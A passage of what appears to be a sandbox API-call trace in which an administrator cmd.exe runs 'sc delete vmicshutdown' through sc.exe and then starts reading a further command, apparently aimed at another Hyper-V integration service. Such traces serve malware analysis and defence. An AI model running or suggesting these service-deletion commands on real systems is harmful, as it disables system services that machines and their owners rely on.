MemoryPointer=0x1cc5b0) returned 0xa6 [0062.836] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicshutdown") returned 1 [0062.837] GetProcessHeap () returned 0x1b0000 [0062.837] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0062.837] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0062.837] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0062.837] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0062.837] GetProcessHeap () returned 0x1b0000 [0062.837] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0062.837] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0062.837] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0062.837] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0062.837] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0062.837] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0062.837] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0062.838] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0062.838] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0062.838] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0062.838] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0062.839] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0062.840] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0062.840] GetProcessHeap () returned 0x1b0000 [0062.840] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0062.840] GetProcessHeap () returned 0x1b0000 [0062.840] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c98a0 [0062.840] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicshutdown", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicshutdown", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete vmicshutdown", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x90, dwThreadId=0x518)) returned 1 [0062.843] CloseHandle (hObject=0x50) returned 1 [0062.844] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0062.844] GetProcessHeap () returned 0x1b0000 [0062.844] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0062.844] GetEnvironmentStringsW () returned 0x1cba10* [0062.844] GetProcessHeap () returned 0x1b0000 [0062.844] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1c8980 [0062.844] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0062.844] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0062.844] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0062.844] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0063.042] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0063.042] CloseHandle (hObject=0x54) returned 1 [0063.042] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0063.042] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0063.042] GetProcessHeap () returned 0x1b0000 [0063.042] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8980 | out: hHeap=0x1b0000) returned 1 [0063.042] GetEnvironmentStringsW () returned 0x1cba10* [0063.042] GetProcessHeap () returned 0x1b0000 [0063.042] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1c8980 [0063.043] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0063.043] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0063.043] GetProcessHeap () returned 0x1b0000 [0063.043] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8980 | out: hHeap=0x1b0000) returned 1 [0063.043] GetEnvironmentStringsW () returned 0x1cba10* [0063.043] GetProcessHeap () returned 0x1b0000 [0063.043] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1c8980 [0063.043] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0063.043] GetProcessHeap () returned 0x1b0000 [0063.043] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c98a0 | out: hHeap=0x1b0000) returned 1 [0063.043] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0063.043] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0063.043] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.043] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0063.044] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.044] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0063.044] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.044] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0063.044] GetConsoleOutputCP () returned 0x1b5 [0063.044] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0063.044] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.044] GetProcessHeap () returned 0x1b0000 [0063.044] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0063.044] GetProcessHeap () returned 0x1b0000 [0063.045] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0063.045] GetProcessHeap () returned 0x1b0000 [0063.045] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9db0 | out: hHeap=0x1b0000) returned 1 [0063.045] GetProcessHeap () returned 0x1b0000 [0063.045] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0063.045] GetProcessHeap () returned 0x1b0000 [0063.045] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa90 | out: hHeap=0x1b0000) returned 1 [0063.045] GetProcessHeap () returned 0x1b0000 [0063.045] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0063.045] GetProcessHeap () returned 0x1b0000 [0063.045] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0063.045] GetProcessHeap () returned 0x1b0000 [0063.045] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c8900 | out: hHeap=0x1b0000) returned 1 [0063.045] GetProcessHeap () returned 0x1b0000 [0063.045] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0063.045] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0063.045] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.045] GetFileType (hFile=0x120) returned 0x3 [0063.045] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.045] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0063.045] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0063.045] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0063.045] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0063.045] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0063.046] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0063.046] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.046] GetFileType (hFile=0x120) returned 0x3 [0063.046] _get_osfhandle (_FileHandle=1) returned 0x120 [0063.046] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0063.046] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0063.046] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.046] GetFileType (hFile=0xb8) returned 0x3 [0063.046] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.046] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.046] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.046] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicshutdown\nrface\n") returned 1 [0063.046] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.046] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.046] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.046] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicshutdown\nrface\n") returned 1 [0063.046] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.046] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.046] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.046] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicshutdown\nrface\n") returned 1 [0063.046] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.046] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.047] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.047] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete vmicshutdown\nrface\n") returned 1 [0063.047] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.047] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.047] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.047] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete vmicshutdown\nrface\n") returned 1 [0063.047] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.047] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.047] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.047] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicshutdown\nrface\n") returned 1 [0063.047] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.047] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.047] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.047] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicshutdown\nrface\n") returned 1 [0063.047] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.047] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.047] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.047] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te vmicshutdown\nrface\n") returned 1 [0063.047] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.047] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.047] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.047] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e vmicshutdown\nrface\n") returned 1 [0063.047] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.047] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.047] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.048] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" vmicshutdown\nrface\n") returned 1 [0063.048] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.048] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.048] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.048] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="vmicshutdown\nrface\n") returned 1 [0063.048] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.048] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.048] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.048] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="micshutdown\nrface\n") returned 1 [0063.048] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.048] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.048] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.048] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="icshutdown\nrface\n") returned 1 [0063.048] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.048] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.048] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.048] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="cshutdown\nrface\n") returned 1 [0063.048] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.048] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.049] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.049] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="hhutdown\nrface\n") returned 1 [0063.049] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.049] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.049] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.049] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="eutdown\nrface\n") returned 1 [0063.049] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.049] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.049] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.049] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="atdown\nrface\n") returned 1 [0063.049] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.049] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.049] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0063.049] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="rdown\nrface\n") returned 1 [0063.049] _get_osfhandle (_FileHandle=0) returned 0xb8 [0063.049] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0063.049] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, 